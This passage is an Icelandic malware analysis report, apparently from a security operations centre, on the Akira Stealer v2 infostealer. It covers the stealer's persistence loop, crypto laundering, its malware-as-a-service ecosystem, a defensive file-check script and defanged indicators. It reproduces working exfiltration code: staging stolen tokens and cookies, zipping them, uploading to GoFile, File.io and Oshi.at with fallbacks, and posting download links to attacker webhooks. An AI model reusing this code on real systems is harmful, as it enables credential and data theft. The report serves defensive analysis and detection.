    "value": "`" + "\n".join(data.stolen_files) + "`",
    "inline": False
    })
    

Niðurstaða:

Skráagrabbarinn í Akira Stealer v2 leitar með aðferð að viðkvæmum skjölum með síum á leitarorð og skráarendingar, virðir 2 MB stærðarþak til að vera skilvirkur og sameinar stolna hluti í safnskrá. Hönnun hans tryggir bæði breidd (margar möppur) og nákvæmni (markvissar síur), sem gerir hann eitt áhrifamesta þrepið í líftíma malware-sins.

7.12 Stefna við exfiltration

Exfiltration-einingin meðhöndlar söfnuð tokens og aðra artifacts (cookies, sjálfvirkar útfyllingar, logga) með því að staging-a þau í skipulagðri möppu, þjappa í safnskrá, hlaða upp á margar netskráahýsingar og senda ítarlegar webhook-tilkynningar. Þessi kafli tekur hvert skref í sundur með skráaslóðum, lénaendapunktum og kóðatilvísunum til fulls rekjanleika.

7.12.1 Möppuskipulag og skráarheiti

Akira skipuleggur alla söfnuðu artifacts í hreina og lagskipta tímabundna möppuuppbyggingu. Þessi hönnun gerir pökkun skilvirka og einfaldar árásaraðilanum að fara yfir niðurstöðurnar eftir exfiltration. Hver gagnaflokkur, svo sem Tokens, Cookies, Passwords eða Screenshots, er geymdur í sinni eigin undirmöppu undir rótarslóð sem er nefnd eftir tölvu fórnarlambsins (t.d. DESKTOP1234). Þetta skipulag tryggir skýrleika, lágmarkar afföll og einfaldar pökkun og upphal. Það gerir einnig sjálfvirka úrvinnslu eða handvirka skoðun mun auðveldari hjá árásaraðilanum.

C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│   ├ token_ab12cd34.txt
│   └ token_ef56gh78.txt
├─ Cookies\
│   ├ Chrome_Cookies.txt
│   └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\

7.12.2 Staging tokens og artifacts

Áður en exfiltration hefst staging-ar Akira alla viðeigandi artifacts í samsvarandi undirmöppur. Gildi tokens eru til dæmis skrifuð í sérstakar .txt-skrár til að einfalda hraða skoðun og staðfestingu. Cookies, sjálfvirkar útfyllingarfærslur og lykilorð eru á sama hátt skrifuð í skipulagðar textaskrár nefndar eftir browsernum. Þetta skref samræmir gagnaskipulagið og gerir sjálfvirkum verkfærum kleift að fylgjast með því sem var safnað. Það tryggir líka að ZIP-safnskráin sem verður til endurspegli forspáanlegt snið sem er hentugt fyrir árásaraðilann, óháð því hvaða einingar voru kveiktar.

import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
    f.write(token)
  • Tokens vistuð í aðskildum litlum textaskrám til fljótlegrar skoðunar.
  • Cookie-dumpar úr Chromium.GetCookies() skrifaðir í {Browser}_Cookies.txt.

7.13.3 Að búa til ZIP-safnskrá

Þegar staging er lokið þjappar Akira allri möppunni í eina ZIP-safnskrá. Skráarheiti safnskrárinnar fylgir samræmdri nafnavenju: _.zip, með heiti vélarinnar og UTC-tímastimpli á ISO 8601-sniði. Það tryggir bæði einkvæmni og rekjanleika í tímaröð. Með því að fara endurkvæmt yfir alla staging-möppuna er hverri skrá haldið í sinni hlutfallslegu uppbyggingu inni í ZIP-inu. Þetta snið einfaldar árásaraðilum að sækja og skoða í magni, sérstaklega ef hundruð fórnarlamba eru kompromíseruð samhliða.

import zipfile, datetime

def create_archive(root_dir: str) -> str:
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for dirpath, _, files in os.walk(root_dir):
            for fname in files:
                full = os.path.join(dirpath, fname)
                rel = os.path.relpath(full, root_dir)
                zf.write(full, rel)
    return zip_path
  • Safnskráin nefnd DESKTOP1234_20250505T123456Z.zip til samræmis við hostinn.

Nafnavenja ZIP-skráarheita

Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.

import datetime, os

def create_archive(root_dir: str) -> str:
    # Generate UTC timestamp in YYYYMMDDThhmmssZ format
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    # Construct ZIP filename: <ComputerName>_<Timestamp>.zip
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    return zip_path

Safnskráin er nefnd eftir tölvuheiti kompromíseraða hostsins og svo UTC-tímastimpli á ISO-sniði, sem tryggir einkvæmni og tímaröð.

7.14.4 Verkflæði upphals

Akira notar þrískipta upphalsstefnu til að hámarka líkurnar á að exfiltration gangi upp. Það reynir fyrst að hlaða safnskránni upp á GoFile.io með opinbera API þeirra, sem skilar niðurhalshlekk. Sé GoFile óaðgengilegt eða blokkað fellur það yfir á File.io og svo Oshi.at, sem tryggir að gögnin komist alltaf áfram. Þessar þjónustur bjóða nafnlausa og skammlífa hýsingu, sem gerir niðurtekt og rekjanleika erfiða. Scriptið fangar endanlega niðurhals-URL-ið og undirbýr það til afhendingar með webhook.

  1. Aðalleið: GoFile.io
    • API til að finna servera: GET https://api.gofile.io/servers
    • Upphalsendapunktur: POST https://<server>.gofile.io/contents/uploadfile
    • Svarsvæði: data.downloadPage inniheldur endanlegt URL.
  2. Varaleið 1: File.io
    • Upphalsendapunktur: POST https://file.io/ með files={'file': open(...)}
    • Svar: JSON-svæðið link.
  3. Varaleið 2: Oshi.at
    • Upphalsendapunktur: POST http://oshi.at/ með files[] og breytunum expire=43200, autodestroy=0.
    • Svar: plaintext sem inniheldur DL: <url>.

Kóðabrot úr útfærslunni:

import requests

def upload_with_fallback(zip_path):
    # GoFile
    try:
        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
        for srv in servers:
            try:
                r = requests.post(
                    f'https://{srv}.gofile.io/contents/uploadfile',
                    files={'file': open(zip_path,'rb')}, timeout=20)
                url = r.json()['data']['downloadPage']
                if url: return url
            except: continue
    except: pass
    # File.io
    try:
        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
        return r.json().get('link','')
    except: pass
    # Oshi.at
    try:
        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
        return text.split('DL: ')[1].strip()
    except: pass
    return ''

7.15.5 Webhook-viðvaranir, sókn árásaraðilans og takmörk á sýnileika greinandans

Eftir að ZIP-safnskránni hefur verið hlaðið upp sendir Akira webhook-tilkynningu, yfirleitt á Discord eða Telegram, með skipulögðu embedi sem inniheldur ítarlegar upplýsingar: fjölda stolinna tokens, fjölda cookies, skráarstærð og niðurhalshlekk sem má klikka á. Það gefur árásaraðilum tafarlausa svörun og aðgang til að sækja gögnin. Til að tryggja áreiðanleika er einnig sent varaskeyti í plaintext sem inniheldur aðeins hlekkinn á safnskrána. Þessi afritun tryggir afhendingu, jafnvel þótt embedið sé blokkað eða síað af pallinum. Frá sjónarhóli þeirra sem verjast eru þessi samskipti oft ósýnileg nema vöktun á útgangandi netumferð sé til staðar.

Embed-tilkynning

# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
    {'name':'🔑 Tokens','value':str(token_count),'inline':True},
    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
    'username':'Akira 💊',
    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
  • Afhending: sent á Discord- eða Telegram-rás árásaraðilans.
  • Embed-hlekkur: inniheldur download_url sem má klikka á og vísar á ZIP-ið á GoFile (eða varahýsingu).

Varaleið með hráum hlekk

# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
  • Plaintext: tryggir afhendingu hlekksins ef embed eru blokkuð eða hljóðlega felld niður.

Hvernig árásaraðilinn sækir hlekkinn

1. Webhook-innviðir Árásaraðilinn byggir webhook-endapunktinn inn í uppsetningu malware-sins:

# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
  • Discord: https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>
  • Telegram: https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage

2. Afhending í rauntíma Strax eftir að upphal skráar gengur upp keyrir malware-ið:

payload = {
  'username': 'Akira 💊',
  'embeds': [{
      'title': '🗄️ Exfiltration Complete',
      'fields': [
          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
      ]
  }]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
  • download_url-breytan er felld inn í fields.value embedsins.
  • Í Telegram-varaleiðinni birtist download_url í message-breytunni í plaintext.

3. Takmarkanir á sýnileika EDR og forensic

  • Engin staðbundin loggun: malware-ið skrifar download_url hvorki á disk né í kerfisogga.
  • Blindir punktar EDR: tól eins og Microsoft Defender for Endpoint gætu merkt HTTP-beiðnina en geta ekki dregið út innbyggða URL-ið.

4. Hvers vegna greinandinn getur ekki endurheimt þetta staðbundið:

  • Ekkert staðbundið afrit af hlekknum: malware-ið skrifar download_url aðeins í minni og sendir það yfir netið, það vistar þetta URL ekki á disk eða í logga.
  • Skammlíf staging-tiltekt: strax eftir upphal keyrir kóðinn:
    shutil.rmtree(ROOT),
    sem þurrkar alla staged artifacts (þar á meðal allar skammlífar textaskrár) út úr %TEMP%.
  • Sending eingöngu yfir net: webhook-köll (requests.post) fara fram í minni, engir HTTP-loggar eða færslur í vafraferli verða til á vél fórnarlambsins.

Hvað þetta þýðir fyrir greinendur: Án lifandi pakkasöfnunar (t.d. network TAP eða proxy) á keyrslutíma er nákvæmt download_url óendurheimtanlegt eftir sýkinguna. Auk þess er exfiltreruðu safnskránni eytt sjálfkrafa af hýsingarþjónustunni, sem minnkar glugga fyrir forensic-sókn enn frekar. Diskmyndir eða hostbyggð forensic-endurheimt eftir sýkinguna munu ekki afhjúpa URL árásaraðilans eða credentials skráahýsingarinnar, því engir artifacts verða eftir staðbundið.

7.13 Niðurstaða

astor.py (Akira Stealer v2) er heildstætt stealer-verkfærasett sem dreift er í viðskiptaskyni. Það sameinar breið skotmörk, fágaða vörn gegn greiningu, dýnamíska stýringu innviða og gagnaþjófnað á öllum lögum, þvert á credentials, kryptó, kerfisgreiningu og skrár notandans. Einingaskipting þess og ósýnileiki, ásamt hröðum endursýkingaraðferðum, gera það að einum tæknilega háþróaðasta stealer sem sést hefur í virkri dreifingu.

8. Hringlaga keyrslukeðja: sjálfslæknandi lykkja

Einn tæknilega fágaðasti þátturinn í þessari herferð er endurmyndandi og hringlaga keyrslumódel hennar. Ólíkt hefðbundnu malware með línuleg þrep sem ganga frá dropper til payloads og hverfa svo var þessi aðgerð hönnuð eins og lokuð lykkja, þar sem hver hluti vaktar aðra.

Þessi sjálfslæknandi arkitektúr gerði sýkingarkeðjuna ekki aðeins þrálátt heldur einnig sjálfstæða. Hún gat jafnað sig að fullu eftir að hluti hennar var fjarlægður. Svo lengi sem eitt brot var enn á lífi gat allt malware-vistkerfið byggt sig upp á nýjan leik.

8.1 Hegðunin brotin niður

  1. Festa fyrir persistence (Updater.exe)Updater.exe er grunnfótfestan. Það er yfirleitt skrifað niður á startup-stað notanda í Windows, svo sem %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eða skráð í gegnum HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Verk þess er einfalt en afgerandi: að tryggja að main.exe sé til staðar og ræsa það hljóðlega við innskráningu notanda. Ef main.exe vantar dregur það safnskrána app-64.7z út aftur (sem liggur í tímabundinni möppu eða er skrifuð niður upp á nýtt) og endurmyndar alla Electron-forritsuppbygginguna.
  2. Brúarloader (main.exe)main.exe er Node.js-forritið pakkað í Electron. Það birtir ekkert GUI og starfar alfarið í bakgrunni. Við keyrslu keyrir það innbyggðu JavaScript-rökvísina inni í app.asar og notar Node.js sem runtime-umhverfi. Þetta abstraktionslag skilur kjarnarökvísina frá PE-stubbnum og hjálpar til við að komast hjá hefðbundinni greiningu.
  3. Keyrslustjórnandi (jscryter.js) Þetta er innbyggt í app.asar og er hinn raunverulegi stjórnandi sýkingarkeðjunnar. Meðal helstu hlutverka þess eru:
    • Að athuga hvort Updater.exe sé til staðar og dreifa því aftur ef það vantar
    • Að skjóta inn uppsetningu á keyrslutíma með dýnamískum hætti: webhook-URL, C2-heimilisföng, tokens
    • Að kalla annaðhvort á Python-payloadinn sem þegar er til staðar (astor.py) eða sækja hann sem hluta af ZIP-búnti (t.d. pyth.zip) frá innviðum sem árásaraðilinn stýrir
  4. Keyrsla payloads (astor.py) Þegar kveikt er á því keyrir astor.py í minni í gegnum python.exe. Það safnar með aðferð vistuðum credentials, cookies, Discord-tokens, setugögnum browsers og extensions fyrir kryptóveski. Gögnin eru staged í ZIP-safnskrá og exfiltreruð yfir HTTPS, yfirleitt á Discord-webhooks, en einnig hafa varaleiðir eins og gofile.io eða sérsniðnir C2-endapunktar sést.
  5. Heilleiki lykkjunnar og sjálfslækning Hönnunin er hringlaga. Ef Updater.exe er eytt verður því dreift aftur. Ef main.exe vantar dregur Updater.exe það út aftur úr app-64.7z. Ef astor.py er eytt sækir JavaScript-lagið það aftur. Þessi gagnkvæma háðni gerir malware-ið þolið og gefur því getu til að endurgera keyrslukeðju sína úr nánast hverju broti sem eftir lifir.

Þessi arkitektúr er ekki aðeins einingaskiptur, hann er sjálfbær, hannaður af ásettu ráði til að vera ósýnilegur, sveigjanlegur og lífseigur í markumhverfum.

8.2 Hvers vegna þetta er eftirtektarvert

Arkitektúrhönnun herferðarinnar endurspeglar fágun sem sjaldan sést í fjöldaframleiddum infostealers. Hún gengur lengra en einfaldir fjölþrepa loaders, þetta er malware hannað fyrir rekstrarþol, ósýnileika og sjálfvirkni.

Helstu einkenni

  • Fullt sjálfstæði Þegar því hefur verið dreift þarf malware-ið enga þátttöku notanda og enga utanaðkomandi endurvirkjun. Það hegðar sér eins og illgjörn microservice og stjórnar sínu eigin persistence, keyrslu payloads og viðgerðarrútínum án utanaðkomandi stýringar.
  • Keyrslustakkur í mörgum forritunarmálum Verkfærakeðjan samþættir:
    • PE-binaries (Updater.exe, main.exe)
    • Node.js / JavaScript (í gegnum Electron)
    • PowerShell (notað fyrir obfuskerað relay payloads)
    • Python (astor.py, keyrt sem stealer sem býr í minni) Þessi lagskipta samsetning gerir erfiðara að taka fingrafar af því, greina það og skoða með hefðbundnum statískum tólum.
  • Vörn gegn greiningu frá grunni Hver hluti er kóðaður, dulkóðaður eða innskotinn dýnamískt:
    • Base64-PowerShell-relay
    • AES-dulkóðaður og GZIP-þjappaður Python-kjarni
    • Obfuskerað JavaScript með innspýtingu tokens á keyrslutíma
    • Sjálfslæknandi hegðun sem torveldar að fjarlægja hluta
  • Enginn einn bilunarpunktur Sjálfsviðgerðarrökvísi malware-sins tryggir að það nægir ekki að fjarlægja einn hluta. Ef Updater.exe er fjarlægt endurgerir infostealerinn það. Ef astor.py er eytt sækir JavaScript-stjórnandinn það aftur og dreifir því á nýjan leik.

Í stuttu máli hegðar malware-ið sér frekar eins og dreift kerfi en dæmigerður payload, kerfi sem setur lífseigju, einingaskiptingu og ósýnileika í fyrsta sæti.

Það lyftir ógninni frá tilviljanakenndri árás upp í þolinn og aðlögunarhæfan pall, sem kallar á að þeir sem verjast mæti flækjustigi hans með jafn lagskiptum aðferðum við detection og viðbrögð.

8.3 Hvað þetta þýðir fyrir blue teams

Fyrir þá sem verjast og fyrir CSOC-stjórnendur hækkar þessi tegund arkitektúrs þröskuldinn:

  • Það gagnast ekki að taka til að hluta. Alla hnúta þarf að greina og fjarlægja samtímis.
  • Samtenging í Defender for Endpoint er ómissandi. Greinendur verða að rekja heilar keðjur: frá Updater.exe → cmd.exe → powershell.exe → python.exe.
  • Persistence án IOC þýðir að heuristík byggð á minni, grunnlínur í telemetríu og detection byggð á keðjum eru lykillinn.

Þetta er ekki bara stealer. Þetta er þolinn malware-pallur sem hegðar sér frekar eins og dreift kerfi en einföld ógn. Og það er nákvæmlega það sem gerir hann bæði áhrifamikinn og hættulegan.

9. Rakning og greining á blockchain

9.1 Að rekja dreifingu fjármuna í malware-herferð byggðri á Litecoin

Á reverse engineering-stigi þessarar malware-herferðar drógum við út mörg harðkóðuð veskjaheimilisföng sem stealerinn notaði til exfiltration kryptógjaldmiðla. Með því að fylgja virkni þessara Litecoin-veskja á keðjunni gátum við afhjúpað mynstur sem gefa vísvitandi peningaþvætti til kynna. Veskið LW6EopiZ..., sem árásaraðilinn stýrir, virkar sem miðlægur samsöfnunarpunktur. Fjármunum sem stolið er frá mörgum fórnarlömbum er trektað inn á þetta heimilisfang og þeim svo dreift hratt á mörg ný heimilisföng.

Hegðunin sem sést hér er dæmigerð fyrir klassískt klofningsmynstur sem notað er í tumbling- eða mixing-aðgerðum með kryptó. Í hverju tilviki er öll innkomna staðan skipt í tvær nokkurn veginn hlutfallslegar útgangandi færslur, hver send á annað veski. Þessari stefnu er ætlað að torvelda klösun heimilisfanga og rakningu á keðjunni með því að hylja uppruna fjármunanna. Það er áhrifarík taktík til að komast hjá detection frá sjálfvirkri blockchain-greiningu og threat intelligence-pöllum.

Þessi þvættishegðun nýtir samsetningu tímasetningar færslna, nákvæmrar klofningar verðmæta og lágmörkunar á endurnotkun heimilisfanga til að komast fram hjá heuristík sem klösunaralgrím eins og þau í GraphSense, Chainalysis eða TRM Labs nota almennt. Heildarmarkmiðið er að skapa færsluflæði með háa óreiðu, sem ruglar attribution og rýfur tengjanleika, sérstaklega þegar fjármunirnir eru loks brúaðir yfir í aðrar eignir eða skipt í myntir með áherslu á einkalíf.

Í dæminu hér fyrir neðan sýnum við skipulagt úrtak þessarar hegðunar. Innkomnu færslurnar eru aðskildar millifærslur frá fórnarlömbum. Þessum gildum er svo varpað nákvæmlega á útgangandi flæði, sem sýnir myntirnar "þvegnar" í gegnum hraðar, forspáanlegar og algrímískt klofnar útgreiðslur.

Uppruni inntaks Dagsetning inntaks Inn (LTC) → Veski árásaraðila Útgangandi heimilisföng Samtals út (LTC)
Input_1 2024-09-21 0.25339198 LLQtaBnSAF... - LZmHkgkED... (0.15579078, 2024-09-26)
- M8JpDsw5H7... (0.09760120, 2024-09-26)
0.25339198
Input_2 2024-04-16 1.09976044 LLQtaBnSAF... - LgWrCAF8ED... (0.84304664, 2024-06-13)
- LgWrCAF8ED... (0.25671380, 2024-06-13)
1.09976044
Input_3 2024-03-06 0.77089346 LLQtaBnSAF... - LZL3wQcSRP... (0.38544673, 2024-03-04)
- M8kiBpVHG3... (0.38544673, 2024-03-04)
0.77089346
Input_4 2024-03-06 0.77089346 LLQtaBnSAF... - LUFLTrqYpix... (0.38544673, 2024-03-04)
- La22dfH9eM... (0.38544673, 2024-03-04)
0.77089346

10. Innan Akira-vistkerfisins – netbrotainnviðir í viðskiptaskyni

Akira er ekki bara stealer, það er hjarta blómlegs undirheimavistkerfis sem hannað er til að einfalda, skala og fjárnýta netbrot.

10.1 Plug-and-play vistkerfi fyrir ógnaraðila

Akira-vistkerfið er dæmi um það hvernig netbrot hafa þróast í fagmannlegt og þjónustudrifið hagkerfi. Í því eru:

  • Builder-bottar til að búa til payloads eftir þörfum (t.d. @AkiraRedBot)
  • Telegram-rásir fyrir uppfærslur, beiðnir um eiginleika og þjónustu við viðskiptavini
  • Sjálfvirk leyfis- og greiðsluumsjón, oft í gegnum einkaskeyti eða nafnlausa netverslunarpalla eins og Sellix
  • Einingar í búntum svo sem klippiborðsyfirtökur, Discord-token-loggarar, stealers fyrir browsergögn og jafnvel ransomware-viðbætur
  • Sérstillanleg payloads með uppsetningarviðmótum sem leyfa rofa, webhook-inntak og eigin táknmyndir

Akira Stealer

10.2 Fjárnýting netbrota

Uppbygging Akira endurspeglar breiðari þróun í átt að "Malware-as-a-Service" (MaaS), þar sem:

  • Engrar djúprar tækniþekkingar er þörf til að hefja árásir
  • Aðgangskostnaður er lágur ($75 fyrir 3 mánuði, $150 til æviloka)
  • Stuðningur og skjölun eru samstundis í gegnum Telegram
  • Framlög samfélagsins víkka Akira reglulega út með scriptum og tillögum um eiginleika

Þetta vistkerfi speglar lögmæt SaaS-viðskiptamódel, með changelogs, endurbótum á notendaupplifun, verðþrepum og viðbótarsölu.

Akria Stealer

10.3 Umfram stealerinn – hlutar vistkerfisins

Þótt astor.py sé hjarta margra árása býður vistkerfið upp á alla keðjuna:

  • Obfuskunartól eins og PyInstaller-wrappers
  • Skráabindara til að tengja illgjarna payloads við meinlausan hugbúnað
  • Þýðendur, crypters og fjölbreytileika á keyrslutíma
  • Hýsingarspegla til afhendingar payloads og exfiltration (t.d. GoFile, AnonFiles)
  • Gagnaumsjónarbotta sem draga saman stolin credentials og vélbúnaðarprófíla

Akira Bot

11. Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni

11.1 Til hvers er þetta?

Eftir meinta Akira Stealer-sýkingu er afgerandi að vita samstundis hvaða skrár á kerfinu þínu voru í hættu á að verða exfiltreraðar. QuickCheck PowerShell-scriptið sem lýst er hér fyrir ofan endurgerir nákvæmlega leitarrökvísi Akira: það skannar möppurnar Desktop, Documents, Downloads og OneDrive hjá notandanum að skrám sem:

  • Innihalda viðkvæm leitarorð í skráarheitinu, svo sem password, wallet, backup eða token
  • Hafa tiltekna skráarendingu sem algengt er að beinst sé að (.txt, .docx, .pdf, .jpg og fleira)
  • Eru undir 2 MB stærðarþakinu sem malware-ið setur

Þótt QuickCheck gefi hratt yfirlit byggt á innri rökvísi Akira Stealer kemur það ekki í staðinn fyrir heildstæð forensic-verkfæri eða faglega incident response. Fylgdu alltaf eftir með dýpri greiningu þegar staðfest innbrot eru annars vegar.

Það birtir svo raðaða töflu með skráarheiti, hlutfallslegri slóð, stærð (KB) og leitarorðinu sem kveikti.

FYRIRVARI Þetta tól er látið í té “as is” án nokkurrar ábyrgðar á heilleika eða hæfi til tiltekins tilgangs. Það tryggir ekki að allar hugsanlega viðkvæmar skrár finnist og kemur ekki í staðinn fyrir fulla malware-forensic. Notkun er á eigin ábyrgð.

Lagalegur fyrirvari

Þetta QuickCheck-tól er eingöngu ætlað til mats í defensive security. Óheimil skönnun eða notkun á kerfum sem þú átt ekki getur brotið lög um einkalíf, höfundarrétt eða misnotkun tölvukerfa. glueckkanja AG tekur á sig enga ábyrgð á misnotkun eða skaða sem hlýst af notkun þess.

PowerShell-script

<#
.SYNOPSIS
    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.

.DESCRIPTION
    Scans Desktop, Documents, Downloads and OneDrive for files that:
      • Contain one of the defined keywords in their name
      • Have an allowed file extension
      • Are not larger than 2 MB
    Presents the results in a colored, tabular overview.

.NOTES
    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>

# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Downloads",
    "$env:USERPROFILE\OneDrive"
)
$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize    = 2MB

# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()

foreach ($folder in $scanFolders) {
    if (-not (Test-Path $folder)) { continue }
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        # 2.1 Extension filter
        if ($extensions -notcontains $_.Extension.ToLower()) { return }
        # 2.2 Size filter
        if ($_.Length -gt $maxSize) { return }

        # 2.3 Keyword filter: explicit loop to avoid null-method calls
        $hit = $null
        foreach ($kw in $keywords) {
            if ($_.Name.ToLower().Contains($kw)) {
                $hit = $kw
                break
            }
        }
        if (-not $hit) { return }

        # 2.4 Build relative path
        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)

        # 2.5 Collect
        $matches.Add([PSCustomObject]@{
            FileName    = $_.Name
            Location    = $rel
            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
            Keyword     = $hit
        })
    }
}

# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan

if ($matches.Count -gt 0) {
    $matches |
        Sort-Object Location, FileName |
        Format-Table -AutoSize `
            @{Label='File';       Expression={$_.FileName}},
            @{Label='Location';   Expression={$_.Location}},
            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},
            @{Label='Keyword';    Expression={$_.Keyword}}

    Write-Host "`n⚠️  Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
    Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}

Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray

12. Umfram viðbrögð – hvernig glueckkanja CSOC breytir atvikum í þekkingu

Flest security operations centers láta staðar numið við innilokun. Við gerum það ekki.

Hjá glueckkanja CSOC lítum við á incident response ekki sem endamarkið heldur upphafspunktinn.

Þegar aðrir lýsa yfir sigri og halda á braut köfum við dýpra. Fyrir okkur er hvert atvik tækifæri til að læra, aðlagast og verða sterkari. Óþreytandi forvitni okkar, keyrð af margra ára djúpri forensic-sérþekkingu og reverse engineering getu, tryggir að við verjumst ekki aðeins, við sjáum fram í tímann.

Þessi hugsun er ástæðan fyrir því að við byggðum Akira Compromise Reporter.

Þetta forensic-tól, sem við þróuðum sjálf, gengur langt lengra en grunn-detection og nýtir nána þekkingu okkar á Akira Stealer til að gefa algeran skýrleika um hvaða gögn hafa verið kompromíseruð. Á fáum mínútum framleiðir það nákvæma mynd af öllum áhrifum atviksins sem hægt er að vinna með:

  • Nákvæmlega hvaða credentials, tokens og browser-setum var stolið.
  • Nákvæmlega hvaða kryptóveski, skilaboðareikningar og skrár lágu opin.
  • Skýra, skipulagða og ítarlega forensic-skýrslu, sem breytir óvissu í tafarlausar og upplýstar aðgerðir.

Akira Compromise Report

Því hjá glueckkanja mælum við árangur okkar ekki aðeins í blokkuðum ógnum heldur í þeim skýrleika sem við skilum. Cybersecurity, rétt unnin, snýst ekki um að bregðast við atvikum, hún snýst um að skilja, aðlagast og vera alltaf einu skrefi framar.

Það er það sem greinir glueckkanja CSOC frá öðrum.

13. Indicators of Compromise (IOCs)

Hér fyrir neðan er heildstætt safn IOC, orðrétt eins og þau voru dregin beint úr malware-kóðanum við reverse engineering-vinnu okkar innanhúss hjá glueckkanja CSOC. Engar tilgátur og engar utanaðkomandi threat intel-heimildir voru notaðar, allir indikatorar eru staðfestar niðurstöður. Öllum URL er obfuskerað af ásettu ráði til að hindra að klikkað sé á þau fyrir slysni.

Skammstafanir:

  • TG: Telegram-tilkynningarás
  • Alt: annar (vara) endapunktur

1. Lén og URL

Flokkur Obfuskerað URL Lýsing
Aðalinnspýting https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php Upphaflegur webhook-endapunktur árásaraðilans
Innspýting á varaleið https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php Annar innspýtingarendapunktur
Villutilkynningar (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php URL fyrir villu- og loggtilkynningar á Telegram
Villutilkynningar (Alt) https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php Annað URL fyrir villu- og loggtilkynningar
Vanity-bot (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php Endapunktur fyrir tilkynningar um vanity-heimilisföng
Vanity-bot (Alt) https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php Annar endapunktur fyrir vanity-tilkynningar
Exodus-innspýting https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar Electron-eining forritsins Exodus
Atomic-innspýting https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar Electron-eining AtomicWallet
Niðurhal Updater https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe Keyranleg dropper-skrá fyrir persistence
Gofile API-listi https[:]//api.gofile[.]io/servers Sækir besta upphalsserver GoFile
Athugun Discord-tokens https[:]//discordapp[.]com/api/v9/users/@me Staðfestir stolið Discord-token
Greiðsluupplýsingar Discord https[:]//discord[.]com/api/users/@me/billing/payment-sources Sækir greiðsluaðferðir
Replay á Google-OAuth https[:]//accounts[.]google[.]com/oauth/multilogin Endurspilar stolin Google-setutokens
IP-athugun (hosting) http[:]//ip-api[.]com/line/?fields=hosting Detection á hýsingarumhverfi
IP-uppflettingar (geo) http[:]//ip-api[.]com/json/{ip} Staðsetning út frá IP
Sókn opinbers IP https[:]//api[.]ipify[.]org Sækir ytri IP-tölu
Upphal á File.io https[:]//file[.]io/ Önnur exfiltration-rás
Upphal á Oshi.at http[:]//oshi[.]at/ Þriðja exfiltration-rás
